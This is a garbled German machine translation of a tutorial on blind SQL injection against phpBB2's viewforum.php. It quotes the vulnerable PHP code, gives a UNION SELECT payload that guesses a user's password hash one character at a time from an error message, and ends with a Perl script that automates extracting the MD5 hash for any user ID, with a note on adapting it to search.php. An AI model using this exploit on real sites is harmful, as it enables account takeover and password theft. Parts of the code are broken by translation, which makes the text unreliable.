Heim >Backend-Entwicklung >PHP-Tutorial >Beispiel für eine PHP-Injektion
php-Injection-Beispiel Es ist schwierig, einen vollständigen Artikel und Anwendungscode über PHP-Injection im Internet zu finden, daher habe ich mich ein paar Wochen lang mit MySQL und PHP beschäftigt und möchte unten über meine Erfahrungen sprechen, in der Hoffnung, andere zu inspirieren!
Ich glaube, dass jeder mit der Injektion von ASP bereits sehr vertraut ist, aber die Injektion von PHP ist schwieriger als die von ASP, da die PHP-Option magic_gpc wirklich Kopfschmerzen bereitet. Verwenden Sie bei der Injektion keine Anführungszeichen. und PHP wird größtenteils mit MySQL kombiniert, und aus der Sicht einer anderen Person kann ich SQL-Injection-Angriffe bis zu einem gewissen Grad verhindern. Ich nehme hier ein Beispiel:
In viewforum.php gibt es eine Variable, die nicht gefiltert wird:
if ( isset($HTTP_GET_VARS
$forum_id = ( isset($HTTP_GET_VARS< ;pOST_FORUM_URL]) )? )
{
$forum_id = $HTTP_GET_VARS['forum'];
}
else
{
$forum_id = ';
}
Dies ist das Forum , und fügen Sie es direkt unter Eingabe der Abfrage ein:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Forumsinformationen konnten nicht abgerufen werden', ', __LINE__, __FILE__ , $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}
Wenn es asp ist, glaube ich Viele Leute werden es einfügen. Wenn das durch forum_id angegebene Forum nicht existiert, ist $result leer und die Meldung „Forumsinformationen konnten nicht abgerufen werden“ wird zurückgegeben, sodass der folgende Code nicht ausgeführt werden kann
//
// Wenn die Abfrage keine Zeilen zurückgibt, ist dies kein gültiges Forum.
// den Benutzer informieren ($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}
//
// Sitzungsverwaltung starten
//
$userdata = session_pagestart($ user_ip, $forum_id) /**************************************** **
Der Schlüssel ist die Zeile mit dem Sternchen. Dies ist eine Funktion, die in session.php definiert ist > long, es ist unvollständig. Sie können einen Blick darauf werfen, wenn Sie interessiert sind. Der Schlüssel ist, dass diese Funktion auch session_begin() aufruft 🎜>$thispage_id, TRUE)), das auch in dieser Datei heißt, die den folgenden Code enthält:
$sql = "UPDATE " . "
SET session_user_id = $user_id, session_start = $ current_time, session_time = $current_time, session_page =
$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query( $sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));
$sql = "INSERT INTO " . , $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Fehler beim Erstellen einer neuen Sitzung: session_begin', ', __LINE__, __FILE__,
$sql);
}
Hier ist eine session_page definiert in MySQL als Ganzzahl, seine??$page_id, Das ist $forum_id, Wenn der eingefügte Wert keine Ganzzahl ist, wird ein Fehler gemeldet und die Meldung Fehler
Erstellen einer neuen Sitzung: session_begin wird angezeigt. Daher ist es sehr wichtig, den Wert von $forum_id anzugeben, daher habe ich ihn wie folgt angegeben: -1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1, 1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57, keine Anführungszeichen ! Obwohl eine forum_id angegeben wird, die nicht existiert, ist das zurückgegebene Abfrageergebnis nicht unbedingt leer. Dies dient dazu, zu erraten, ob der ASCII-Codewert des ersten Passworts des Benutzers mit user_id 2 57 ist. Wenn ja, ist das $result in Der erste Code im Artikel ist nicht leer, daher wird session_pagestart ausgeführt. Wenn die betreffende Funktion keine Ganzzahl einfügt, tritt natürlich ein Fehler auf, sodass Fehler beim Erstellen einer neuen Sitzung angezeigt wird: session_begin, was bedeutet, dass Sie das erraten haben Das erste Bit ist korrekt und die anderen Bits sind ähnlich
Wenn es keine solche Fehlermeldung gibt, wird es meiner Meinung nach schwierig sein, zu beurteilen, ob die Fehlermeldung erfolgreich war. Die Analyse endet hier Dieser Code muss nur geringfügig geändert werden. Er kann auf andere ähnliche Situationen zum Erraten von MD5-Passwörtern angewendet werden. Für Chinesisch und andere Sprachen ändere ich einfach die Rückgabebedingungen 🎜>
verwenden Sie HTTP::Request::Common;
verwenden Sie LWP::UserAgent; print " ************ *************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn ";
drucken " www.icehack.comn";
drucken "*************************n";
drucken "bitte Geben Sie die URL der schwachen Datei ein:n";
print " z. B. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=
chomp($adr);
print „bitte geben Sie die Benutzer-ID ein, die Sie knacken möchten“;
$u=
print „Arbeit beginnt, bitte warten!n“;
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink ;$i++){
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1 ,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%
20user_id=$u% 20and%20ord(substring(user_password,$j,1)) =$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request($request) ;
if ($response->is_success) {
if ($response->content =~ /Fehler beim Erstellen einer neuen Sitzung/ ) {
$pwd.=chr($pink[ $i]);
print "$pwdn";
}
}
if ($pwd ne ""){
print " erfolgreich,Das Passwort lautet $pwd,good Luckn";}
else{
print "pech Luck,work failed!n";}
Was die aktuelle search.php von phpbb2.0.6 betrifft, müssen Sie den obigen Code nur geringfügig ändern
, um das Problem auszunutzen